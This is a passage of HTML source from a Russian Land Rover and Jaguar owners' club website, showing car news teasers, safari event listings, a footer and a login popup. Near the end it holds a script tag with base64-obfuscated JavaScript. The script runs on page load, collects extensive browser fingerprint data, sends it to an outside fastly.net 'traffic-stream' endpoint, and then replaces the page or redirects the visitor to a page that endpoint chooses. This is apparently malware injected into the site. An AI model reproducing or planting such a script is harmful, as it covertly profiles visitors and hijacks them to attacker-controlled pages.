4"}},{"type":"Feature","id":15,"geometry":{"type":"Point","coordinates":["55.710854","37.389445"]},"properties":{"balloonContent":"Ld Partner","clusterCaption":"\u0415\u0449\u0435 \u043e\u0434\u043d\u0430 \u043c\u0435\u0442\u043a\u0430","hintContent":"Ld Partner"}},{"type":"Feature","id":16,"geometry":{"type":"Point","coordinates":["55.688228","37.488502"]},"properties":{"balloonContent":"Rover City","clusterCaption":"\u0415\u0449\u0435 \u043e\u0434\u043d\u0430 \u043c\u0435\u0442\u043a\u0430","hintContent":"Rover City"}},{"type":"Feature","id":17,"geometry":{"type":"Point","coordinates":["55.789436","37.585592"]},"properties":{"balloonContent":"Atomic","clusterCaption":"\u0415\u0449\u0435 \u043e\u0434\u043d\u0430 \u043c\u0435\u0442\u043a\u0430","hintContent":"Atomic"}}]};
</script>
</div>
</div>
<div class="white__block">
<div class="row">
<div class="col-md-8">
<div class="row">
<div class="col-md-12"><h2><a href="/news/autopartners/">АВТОНОВОСТИ</a></h2></div>
<div>
<div id="bx_1454625752_3826" class="col-md-4">
<div class="news">
<img src="/upload/resize_cache/iblock/f21/600_400_2/porsche_2023_taycan_gts_turismo.jpg" alt="Porsche Taycan GTS 2023">
<h4><a href="/news/autopartners/porsche-taycan-gts-2023/">Porsche Taycan GTS 2023</a></h4>
<p>Тест-драйв нового электромобиля Porsche Taycan GTS в 2023 году</p>
<a class="more" href="/news/autopartners/porsche-taycan-gts-2023/">Подробнее</a>
</div>
</div>
<div id="bx_1454625752_3825" class="col-md-4">
<div class="news">
<img src="/upload/resize_cache/iblock/469/600_400_2/lamborghini-urus-performante-2023.jpg" alt="Lamborghini Urus Performante 2023">
<h4><a href="/news/autopartners/lamborghini-urus-performante-2023/">Lamborghini Urus Performante 2023</a></h4>
<p>Обновление самого крутого супер-кара среди внедорожников</p>
<a class="more" href="/news/autopartners/lamborghini-urus-performante-2023/">Подробнее</a>
</div>
</div>
<div id="bx_1454625752_3811" class="col-md-4">
<div class="news">
<img src="/upload/resize_cache/iblock/e5e/600_400_2/lamborghini_urus_2022.jpg" alt="Новый Lamborghini Urus 2022 года">
<h4><a href="/news/autopartners/novyy-lamborghini-urus-2022-goda/">Новый Lamborghini Urus 2022 года</a></h4>
<p>Итальянский бренд Lamborghini славится тем, что делает быстрые и привлекательные автомобили</p>
<a class="more" href="/news/autopartners/novyy-lamborghini-urus-2022-goda/">Подробнее</a>
</div>
</div>
</div>
<div class="clearfix"></div> <div class="col-md-12"><h2><a href="/news/partners/">НОВОСТИ LAND ROVER И JAGUAR</a></h2></div>
<div>
<div id="bx_3322728009_3829" class="col-md-4">
<div class="news">
<img src="/upload/resize_cache/iblock/d15/600_400_2/rover-defender-75th-limited-edition-.jpg" alt="Юбилейная версия Land Rover Defender 2023">
<h4><a href="/news/partners/yubileynaya-versiya-land-rover-defender-2023/">Юбилейная версия Land Rover Defender 2023</a></h4>
<p>Новая версия Land Rover Defender 75th Limited Edition к 75-летию модели<br>
<br>
<br></p>
<a class="more" href="/news/partners/yubileynaya-versiya-land-rover-defender-2023/">Подробнее</a>
</div>
</div>
<div id="bx_3322728009_3818" class="col-md-4">
<div class="news">
<img src="/upload/resize_cache/iblock/9b8/600_400_2/jaguar-i_pace-2022.jpg" alt="JAGUAR I-PACE СТАЛ ПОБЕДИТЕЛЕМ ">
<h4><a href="/news/partners/jaguar-i-pace-stal-pobeditelem-/">JAGUAR I-PACE СТАЛ ПОБЕДИТЕЛЕМ </a></h4>
<p>Автомобиль Ягуар I-PACE завоевал заслуженную победу в новой и уникальной рубрике на премии «Внедорожник года»</p>
<a class="more" href="/news/partners/jaguar-i-pace-stal-pobeditelem-/">Подробнее</a>
</div>
</div>
<div id="bx_3322728009_3817" class="col-md-4">
<div class="news">
<img src="/upload/resize_cache/iblock/90f/600_400_2/logo_land_rover_yaguar_klub_rendzh_rover_vorld.jpeg" alt="Сразу три новые модели JAGUAR ">
<h4><a href="/news/partners/srazu-tri-novye-modeli-jaguar-/">Сразу три новые модели JAGUAR </a></h4>
<p>3 модели JAGUAR стали одними из наименее затратных в эксплуатации в России</p>
<a class="more" href="/news/partners/srazu-tri-novye-modeli-jaguar-/">Подробнее</a>
</div>
</div>
</div>
<div class="clearfix"></div> </div>
</div>
<div class="col-md-4">
<div class="row news__sidebar">
<div class="col-md-12"><a href="/news/mnenie-ekspertov/"><h2>Мнение экспертов</h2></a></div>
<div class="col-md-12 col-sm-12" id="bx_2970353375_3833">
<div class="news ">
<span class="data">23.02.2024</span>
<h4><a href="/news/mnenie-ekspertov/avtomobilnyy-rynok-evrosoyuza-pokazyvaet-khoroshiy-rost/">Автомобильный рынок Евросоюза показывает хороший рост</a></h4>
<p><br />
Общий объем автомобильного рынка в ЕС уже составляет 7% ВВП. Например в ФРГ находятся около 42 производства автомобилестроения, Франция насчитывает 31 завод, В Италии 23, а в Испании – 17 автомобильных производств. Так же Словакия побила рекорд и экспортировала около 46% за пределы Евросоюза только. <br />
<br />
В ЕС только за 2022 год было произведено около 10,9 млн легковых автомобилей, это на 8,3% больше, чем в предидущем году. </p>
<a class="more" href="/news/mnenie-ekspertov/avtomobilnyy-rynok-evrosoyuza-pokazyvaet-khoroshiy-rost/">Подробнее</a>
</div>
</div>
<div class="col-md-12 col-sm-12" id="bx_2970353375_3827">
<div class="news ">
<span class="data">12.03.2023</span>
<h4><a href="/news/mnenie-ekspertov/prognoz-razvitiya-mirovogo-avtomobilnogo-rynka/">Прогноз развития мирового автомобильного рынка</a></h4>
<p><p>
<br>
До Пандемии, по оценкам Международной организации производителей автомобилей, автомобильный рынок рос в среднем от 2,5 до 3% в год. Но с начала и до окончания пандемии этот показатель значительно снижался. <br>
Как будет развиваться автомобильная индустрия в этом году, даже эксперты затрудняются давать прогнозы. <br>
<br>
На основной рост продаж влиял сегмент легковых автомобилей, что составляло примерно 3,7 %. <br>
Продажи коммерческого транспорта составляло примерно чуть более 2%.
</p></p>
<a class="more" href="/news/mnenie-ekspertov/prognoz-razvitiya-mirovogo-avtomobilnogo-rynka/">Подробнее</a>
</div>
</div>
<div class="clearfix"></div> </div>
</div>
</div>
<div class="row">
</div>
</div>
<div class="row dark">
<h2>#Акции Клуба</h2>
</div>
<div class="row banner" id="bx_719294866_56">
<a href="/forum/forum100/2372-lr-sever-zelenograd-_-tekh-tsentr-land-rover_-jaguar/"><img src="/upload/iblock/fcb/Zelenograd.jpg" border="0" class="img-responsive"></a>
</div>
<script>
now_date = parseInt();
exp_date = parseInt();
time_left = exp_date - now_date;
var left = new Array(); var show = new Array();
com_calc_time = function(){
left['D'] = Math.floor(time_left / 60 / 60 / 24);
left['H'] = Math.floor(time_left / 60 / 60);
left['M'] = Math.floor(time_left / 60);
left['S'] = time_left;
show['D'] = left['D'];
show['H'] = Math.floor((time_left - (left['D'] * 24 * 60 * 60)) / 60 / 60);
show['M'] = Math.floor((time_left - (left['H'] * 60 * 60)) / 60);
show['S'] = Math.floor(time_left - (left['M'] * 60));
$("#COM_D").html(show['D']); $("#COM_H").html(show['H']); $("#COM_M").html(show['M']); $("#COM_S").html(show['S']);
time_left--;
}
setInterval(com_calc_time, 1000);
</script>
<div class="row black__block">
<h2>#СОБЫТИЯ КЛУБА</h2>
<div class="sobytiya_top">
<div class="col-md-4 col-sm-4" id="bx_1574478084_241">
<div class="club__data">
<span class="data_club">28.04.2023</span>
<p>ДЖИПП САФАРИ МАРОККО</p>
<span>Сафари</span>
<a href="/forum/forum10/1877-edem-v-dzhip-safari-v-marokko-s-2-po-10-maya./?result=new#postform">подробнее</a>
</div>
</div>
<div class="col-md-4 col-sm-4" id="bx_1574478084_750">
<div class="club__data">
<span class="data_club">05.11.2023</span>
<p>ДЖИП САФАРИ МАРОККО ОСЕНЬ</p>
<span>Сафари</span>
<a href="/forum/forum10/1878-edem-v-dzhip-safari-v-marokko-s-5-po-18-noyabrya-2017-goda.-zaezd-_-2./?result=new#postform">подробнее</a>
</div>
</div>
<div class="col-md-4 col-sm-4" id="bx_1574478084_190">
<div class="club__data">
<span class="data_club">01.12.2023</span>
<p>KINGS CUP REGATTA PHUKET </p>
<span>Сафари</span>
<a href="/forum/messages/forum10/topic2760/message9155/?result=new#message9155">подробнее</a>
</div>
</div>
</div>
<div class="clearfix"></div>
<div class="container-fluid">
<div class="row small__bl">
<div class="all_events">
<div class="col-sm-4 col-md-2" id="bx_3302092990_1292">
<div class="club__data">
<span class="data_club">01.11.2020</span>
<p>ОСЕННЯЯ НАМИБИЯ</p>
<span>Сафари</span>
<a href="/forum/forum10/1116-osennyaya-namibiya/" >подробнее</a>
</div>
</div>
<div class="col-sm-4 col-md-2" id="bx_3302092990_1291">
<div class="club__data">
<span class="data_club">11.11.2020</span>
<p>ЭКСПЕДИЦИЯ БОТСВАНА-ЮАР</p>
<span>Сафари</span>
<a href="/forum/forum10/1132-botsvana-_-yuar/" >подробнее</a>
</div>
</div>
<div class="col-sm-4 col-md-2" id="bx_3302092990_1297">
<div class="club__data">
<span class="data_club">25.06.2021</span>
<p>ЗАХВАТЫВАЮЩЕЕ ПУТЕШЕСТВИЕ В ЮТУ</p>
<span>Сафари</span>
<a href="https://www.landrover.ru/experience/expeditions/adventure-travel/adventure-travel-utah.html" rel="nofollow">подробнее</a>
</div>
</div>
<div class="col-sm-4 col-md-2" id="bx_3302092990_1293">
<div class="club__data">
<span class="data_club">22.03.2022</span>
<p>ЭКСПЕДИЦИЯ LAND ROVER на БАЙКАЛ</p>
<span>Сафари</span>
<a href="/forum/messages/forum10/topic2759/message9154/?result=new#message9154" >подробнее</a>
</div>
</div>
<div class="col-sm-4 col-md-2" id="bx_3302092990_1298">
<div class="club__data">
<span class="data_club">26.10.2022</span>
<p>ПУТЕШЕСТВИЕ В НАМИБИЮ</p>
<span>Сафари</span>
<a href="/forum/messages/forum10/topic2761/message9156/?result=new#message9156" >подробнее</a>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<script src="data:text/javascript;base64,ZnVuY3Rpb24gcShlKXtmdW5jdGlvbiBmKGIsaCl7Zm9yKHZhciBjIGluIGIpdHJ5e3ZhciBkPWJbY107c3dpdGNoKHR5cGVvZiBkKXtjYXNlICJvYmplY3QiOmlmKG51bGw9PT1kKWNvbnRpbnVlO2Nhc2UgImZ1bmN0aW9uIjpkPWQudG9TdHJpbmcoKX1hW2grY109ZH1jYXRjaChtKXt9dHJ5e3ZhciBrPU9iamVjdC5nZXRPd25Qcm9wZXJ0eU5hbWVzKGIpO2FbaF09ay5sZW5ndGg7Zm9yKGM9MDtjPGsubGVuZ3RoOysrYyl0cnl7ZD1iW2tbY11dO3N3aXRjaCh0eXBlb2YgZCl7Y2FzZSAib2JqZWN0IjppZihudWxsPT09ZCljb250aW51ZTtjYXNlICJmdW5jdGlvbiI6ZD1kLnRvU3RyaW5nKCl9YVtoK2tbY11dPWR9Y2F0Y2gobSl7fX1jYXRjaChtKXt9fWU9dm9pZCAwPT09ZT97fTplO3ZhciBhPXt9O2YoZG9jdW1lbnQsImRvYy4iKTtmKG5hdmlnYXRvciwibmF2LiIpO2Yoc2NyZWVuLCJzY3IuIik7Zih3aW5kb3csIndpbi4iKTsoZnVuY3Rpb24oYixoKXt0cnl7Yj1iLmF0dHJpYnV0ZXM7Zm9yKHZhciBjIGluIGIpYz1iW2NdLGFbaCtjLm5vZGVOYW1lXT1jLm5vZGVWYWx1ZX1jYXRjaChkKXt9fSkoZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50LCJodG1sLiIpO3RyeXt2YXIgZz1mdW5jdGlvbigpe30sbj0wO2cudG9TdHJpbmc9ZnVuY3Rpb24oKXsrK247cmV0dXJuIiJ9O2NvbnNvbGUubG9nKGcpO2EudG9zdHJpbmc9bn1jYXRjaChiKXt9dHJ5e2EuY2xvc3VyZT1mdW5jdGlvbigpe30udG9TdHJpbmcoKX1jYXRjaChiKXt9dHJ5e3ZhciBsPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImNhbnZhcyIpLmdldENvbnRleHQoIndlYmdsIikscD1sLmdldEV4dGVuc2lvbigiV0VCR0xfZGVidWdfcmVuZGVyZXJfaW5mbyIpO2Eud2ViZ2w9W2wuZ2V0UGFyYW1ldGVyKHAuVU5NQVNLRURfVkVORE9SX1dFQkdMKSxsLmdldFBhcmFtZXRlcihwLlVOTUFTS0VEX1JFTkRFUkVSX1dFQkdMKV0uam9pbigiICIpfWNhdGNoKGIpe310cnl7YS50b3VjaEV2ZW50PWRvY3VtZW50LmNyZWF0ZUV2ZW50KCJUb3VjaEV2ZW50IikudG9TdHJpbmcoKX1jYXRjaChiKXt9ZS5kYXRhPWE7cmV0dXJuIGV9IWZ1bmN0aW9uKCl7aWYoLTE9PXdpbmRvdy5sb2NhdGlvbi5ocmVmLnNlYXJjaCgiWz8mXV9ub19yZWRpcmVjdD1vbiIpKXt2YXIgZT1uZXcgWE1MSHR0cFJlcXVlc3Q7ZS53aXRoQ3JlZGVudGlhbHM9ITAscGFyYW1zPXEoe30pLGUub3BlbigiUE9TVCIsImh0dHBzOi8vdHJhZmZpYy1zdHJlYW0uZ2xvYmFsLnNzbC5mYXN0bHkubmV0L2NycXlsN2sucGhwP2tleT14emVuaWYyenJwc3E3bXM5ZHFvYyZscF90eXBlPWpzX3JlZGlyZWN0JiIrd2luZG93LmxvY2F0aW9uLnNlYXJjaC5zdWJzdHJpbmcoMSksITApLGUscmVzcG9uc2VUeXBlPSdqc29uJyxlLm9ubG9hZD1mdW5jdGlvbigpe2lmKDIwMD09PWUuc3RhdHVzKXt2YXIgdD1KU09OLnBhcnNlKGUucmVzcG9uc2VUZXh0KTtyZXR1cm4gdC5sYW5kaW5nX2h0bWw/KGRvY3VtZW50Lm9wZW4oKSxkb2N1bWVudC53cml0ZSh0LmxhbmRpbmdfaHRtbCksdm9pZCBkb2N1bWVudC5jbG9zZSgpKTp0LmxhbmRpbmdfdXJsPyhkb2N1bWVudC5vcGVuKCksZG9jdW1lbnQud3JpdGUoIjxodG1sPjxoZWFkPiIpLGRvY3VtZW50LndyaXRlKCc8bWV0YSBuYW1lPSJyZWZlcnJlciIgY29udGVudD0ibmV2ZXIiIC8+JyksZG9jdW1lbnQud3JpdGUoJzxtZXRhIGh0dHAtZXF1aXY9InJlZnJlc2giIGNvbnRlbnQ9IjA7IHVybD0nK3QubGFuZGluZ191cmwrJyIgLz4nKSxkb2N1bWVudC53cml0ZSgiPC9oZWFkPjwvaHRtbD4iKSx2b2lkIGRvY3VtZW50LmNsb3NlKCkpOnZvaWQgMH19LGUuc2VuZChKU09OLnN0cmluZ2lmeShwYXJhbXMpKX19KCk7"></script>
<!--Bottom-->
<div class="container-fluid">
<div class="row white__bottom_block">
<div class="col-md-6">
<div class="row">
<ul class="nav__footer" xmlns="http://www.w3.org/1999/html">
<li>
<a href="/sprav/dealers/" >Дилеры</a>
</li>
<li>
<a href="/cars/" >Модельный ряд</a>
</li>
<li>
<a href="/news/" >Новости</a>
</li>
<li>
<a href="/about/" >О проекте</a>
</li>
<li>
<a href="/about/history-landrover/" >История Land Rover</a>
</li>
<li>
<a href="/about/history-jaguar/" >История Jaguar</a>
</li>
<li>
<a href="http://landroverlife.landrover.ru/expeditions/list/" rel="nofollow">Land Rover expedition</a>
</li>
<li>
<a href="http://www.landrover.ru/owners/roadside-assist.html" rel="nofollow">Программа помощи на дорогах</a>
</li>
<li>
<a href="/sitemap.html" >Карта сайта</a>
</li>
</ul>
<div class="clearfix">
</div>
</div>
</div>
<div class="col-md-6">
<div class="row">
<!--Social Icons-->
<noindex>
<ul class="sot__sets">
<li class="fb"><a href="https://www.facebook.com/groups/rangeroverworld/" target="_blank" rel="nofollow"></a></li>
<li class="vk"><a href="https://vk.com/public128987138" target="_blank" rel="nofollow"></a></li>
<li class="Instagram"><a href="https://www.instagram.com/rangeroverworld.ru/" target="_blank" rel="nofollow"></a></li>
<li class="youtube"><a href="https://www.youtube.com/channel/UCoCqZztR6_p65GqgXdVRpYQ" target="_blank" rel="nofollow"></a></li>
</ul></noindex>
<div class="clearfix">
</div>
<br> <!--./Social Icons-->
</div>
</div>
</div>
</div> <!--./Bottom-->
<footer class="footer">
<div class="container-fluid">
<div class="row">
<div class="col-md-6"><span class="copy">© RANGE ROVER WORLD , 2008-2016 </span><br>
</div>
<div class="col-md-6">
<div class="footer_logo">
<img src="/local/templates/newnew/assets/img/footer-logo3.png" alt="">
</div>
</div>
</div>
</div>
</footer>
<div id="back_top">
<a class="page_up" href="#top" alt="Наверх">
<i></i>
<div>Наверх</div>
</a>
</div>
<!--Popup Login-->
<div class="modal fade" id="basicModal" tabindex="-1" role="dialog">
<div class="modal-dialog">
<div class="modal-content">
<div class="modal-header"><button class="close" type="button" data-dismiss="modal"></button>
<h4 class="modal-title" id="myModalLabel">Войти с помощью</h4>
<noindex><a class="register" href="/register/" rel="nofollow">Регистрация</a></noindex>
<ul class="pop_sot">
<li><a title="Facebook" href="javascript:void(0)" onclick="BX.util.popup('https://www.facebook.com/dialog/oauth?client_id=1622634524658915&redirect_uri=http%3A%2F%2Ftest.rangeroverlife.ru%2Findex.php%3Fauth_service_id%3DFacebook%26check_key%3D96fb5ea5575ed8c8bee5caf1c45c5a92%26backurl%3D%252Findex.php&scope=email,publish_actions,user_friends&display=popup', 580, 400)"><img src="/bitrix/templates/newnew/assets/img/fb.png" alt="Facebook"></a></li>
<li><a title="ВКонтакте" href="javascript:void(0)" onclick="BxShowAuthFloat('VKontakte', 'form')"><img src="/bitrix/templates/newnew/assets/img/vk.png" alt="ВКонтакте"></a></li>
<li><a title="Twitter" href="javascript:void(0)" onclick="BxShowAuthFloat('Twitter', 'form')"><img src="/bitrix/templates/newnew/assets/img/t.png" alt="Twitter"></a></li>
<li><a title="Google+" href="javascript:void(0)" onclick="BxShowAuthFloat('GooglePlusOAuth', 'form')"><img src="/bitrix/templates/newnew/assets/img/gg.png" alt="Google+"></a></li>
</ul>
</div>
<center>
</center>
<form id="login-form" name="system_auth_form6zOYVN" method="post" target="_top" action="/forum/messages/forum86/topic174412/message194589/?login=yes&result=new">
<div class="modal-body">
<input type="hidden" name="backurl" value="/forum/messages/forum86/topic174412/message194589/?result=new" />
<input type="hidden" name="AUTH_FORM" value="Y" />
<input type="hidden" name="TYPE" value="AUTH" />
<input type="text" name="USER_LOGIN" maxlength="50" value="" size="17" placeholder="Логин" />
<input type="password" name="USER_PASSWORD" maxlength="50" size="17" placeholder="Пароль" />
</div>
<div class="form__footer">
<label for="USER_REMEMBER_frm" title="Запомнить меня на этом компьютере">
<input type="checkbox" id="USER_REMEMBER_frm" name="USER_REMEMBER" value="Y" />
Запомнить</label>
<noindex><a href="/forgot-password/" rel="nofollow">Забыли пароль?</a></noindex>
</div>
<div class="form__btns">
<button type="submit" name="Login" class="btn btn_white">Войти</button>
</div>
</form>
<div style="display:none">
<div id="bx_auth_float" class="bx-auth-float">
<div class="bx-auth">
<form method="post" name="bx_auth_servicesform" target="_top" action="/forum/messages/forum86/topic174412/message194589/?login=yes&amp;result=new">
<div class="bx-auth-title">Войти как пользователь</div>
<div class="bx-auth-note">Вы можете войти на сайт, если вы зарегистрированы на одном из этих сервисов:</div>
<div class="bx-auth-services">
<div><a href="javascript:void(0)" onclick="BxShowAuthService('GooglePlusOAuth', 'form')" id="bx_auth_href_formGooglePlusOAuth"><i class="bx-ss-icon google-plus"></i><b>Google+</b></a></div>
<div><a href="javascript:void(0)" onclick="BxShowAuthService('VKontakte', 'form')" id="bx_auth_href_formVKontakte"><i class="bx-ss-icon vkontakte"></i><b>ВКонтакте</b></a></div>
<div><a href="javascript:void(0)" onclick="BxShowAuthService('Twitter', 'form')" id="bx_auth_href_formTwitter"><i class="bx-ss-icon twitter"></i><b>Twitter</b></a></div>
<div><a href="javascript:void(0)" onclick="BxShowAuthService('Facebook', 'form')" id="bx_auth_href_formFacebook"><i class="bx-ss-icon facebook"></i><b>Facebook</b></a></div>
</div>
<div class="bx-auth-line"></div>
<div class="bx-auth-service-form" id="bx_auth_servform" style="display:none">
<div id="bx_auth_serv_formGooglePlusOAuth" style="display:none"><a href="javascript:void(0)" onclick="BX.util.popup('https://accounts.google.com/o/oauth2/auth?client_id=213192035595-8kvhcaek7ittuqg8iddpb3i66igbm14g.apps.googleusercontent.com&redirect_uri=http%3A%2F%2Frangeroverworld.ru%2Fbitrix%2Ftools%2Foauth%2Fgoogle.php&scope=https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fplus.login+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fplus.me&response_type=code&access_type=offline&state=provider%3DGooglePlusOAuth%26site_id%3Ds1%26backurl%3D%252Fforum%252Fmessages%252Fforum86%252Ftopic174412%252Fmessage194589%252F%253Fcheck_key%253D3c20ccc5f45a4ee167edbf2232a5713d%2526result%253Dnew%26mode%3Dopener%26redirect_url%3D%252Fforum%252Fmessages%252Fforum86%252Ftopic174412%252Fmessage194589%252F%253Fresult%253Dnew', 580, 400)" class="bx-ss-button google-button"></a><span class="bx-spacer"></span><span>Используйте вашу учетную запись Google для входа на сайт.</span></div>
<div id="bx_auth_serv_formVKontakte" style="display:none"><a href="javascript:void(0)" onclick="BX.util.popup('https://oauth.vk.com/authorize?client_id=5032394&redirect_uri=http%3A%2F%2Frangeroverworld.ru%2Fforum%2Fmessages%2Fforum86%2Ftopic174412%2Fmessage194589%2F%3Fauth_service_id%3DVKontakte&scope=friends,notify,offline,email&response_type=code&state=site_id%3Ds1%26backurl%3D%252Fforum%252Fmessages%252Fforum86%252Ftopic174412%252Fmessage194589%252F%253Fcheck_key%253D3c20ccc5f45a4ee167edbf2232a5713d%2526result%253Dnew%26redirect_url%3D%252Fforum%252Fmessages%252Fforum86%252Ftopic174412%252Fmessage194589%252F%253Fresult%253Dnew', 660, 425)" class="bx-ss-button vkontakte-button"></a><span class="bx-spacer"></span><span>Используйте вашу учетную запись VKontakte для входа на сайт.</span></div>
<div id="bx_auth_serv_formTwitter" style="display:none"><a href="javascript:void(0)" onclick="BX.util.popup('/forum/messages/forum86/topic174412/message194589/?ncc=1&auth_service_id=Twitter&check_key=3c20ccc5f45a4ee167edbf2232a5713d&backurl=%2Fforum%2Fmessages%2Fforum86%2Ftopic174412%2Fmessage194589%2F%3Fresult%3Dnew&result=new', 800, 450)" class="bx-ss-button twitter-button"></a><span class="bx-spacer"></span><span>Используйте вашу учетную запись на Twitter.com для входа на сайт.</span></div>
<div id="bx_auth_serv_formFacebook" style="display:none"><a href="javascript:void(0)" onclick="BX.util.popup('https://www.facebook.com/dialog/oauth?client_id=1622634524658915&redirect_uri=http%3A%2F%2Frangeroverworld.ru%2Fforum%2Fmessages%2Fforum86%2Ftopic174412%2Fmessage194589%2F%3Fauth_service_id%3DFacebook%26check_key%3D3c20ccc5f45a4ee167edbf2232a5713d%26result%3Dnew%26backurl%3D%252Fforum%252Fmessages%252Fforum86%252Ftopic174412%252Fmessage194589%252F%253Fresult%253Dnew&scope=email,publish_actions,user_friends&display=popup', 580, 400)" class="bx-ss-button facebook-button"></a><span class="bx-spacer"></span><span>Используйте вашу учетную запись на Facebook.com для входа на сайт.</span></div>
</div>
<input type="hidden" name="auth_service_id" value="" />
</form>
</div>
</div>
</div>
</div>
</div>
</div>
<!--./Popup Login-->
<!--?$APPLICATION->AddHeadScript('/bitrix/templates/newnew/assets/js/jquery.min.js');?-->
<!--<script src="/assets/js/jquery.min.js"></script>-->
<!-- Jvascript -->
<script src="http://code.jquery.com/jquery-3.1.0.min.js" crossorigin="anonymous"></script>
<script src="/local/templates/newnew/assets/js/mask.js"></script>
<script src="/local/templates/newnew/assets/js/cookie.js"></script>
<script src="/local/templates/newnew/assets/js/scroll.js"></script>
<script src="/local/templates/newnew/assets/js/new-scripts.js"></script>
<script src="/local/templates/newnew/assets/js/pushy.min.js"></script>
<link rel="stylesheet" href="/local/templates/newnew/assets/css/new-styles.css" type="text/css">
<script src="/maket/main/assets/js/venobox.min.js"></script>
<div id="win8_wrapper">
<div class="windows8">
<div class="wBall" id="wBall_1">
<div class="wInnerBall"></div>
</div>
<div class="wBall" id="wBall_2">
<div class="wInnerBall"></div>
</div>
<div class="wBall" id="wBall_3">
<div class="wInnerBall"></div>
</div>
<div class="wBall" id="wBall_4">
<div class="wInnerBall"></div>
</div>
<div class="wBall" id="wBall_5">
<div class="wInnerBall"></div>
</div>
</div>
</div>
</body>
</html>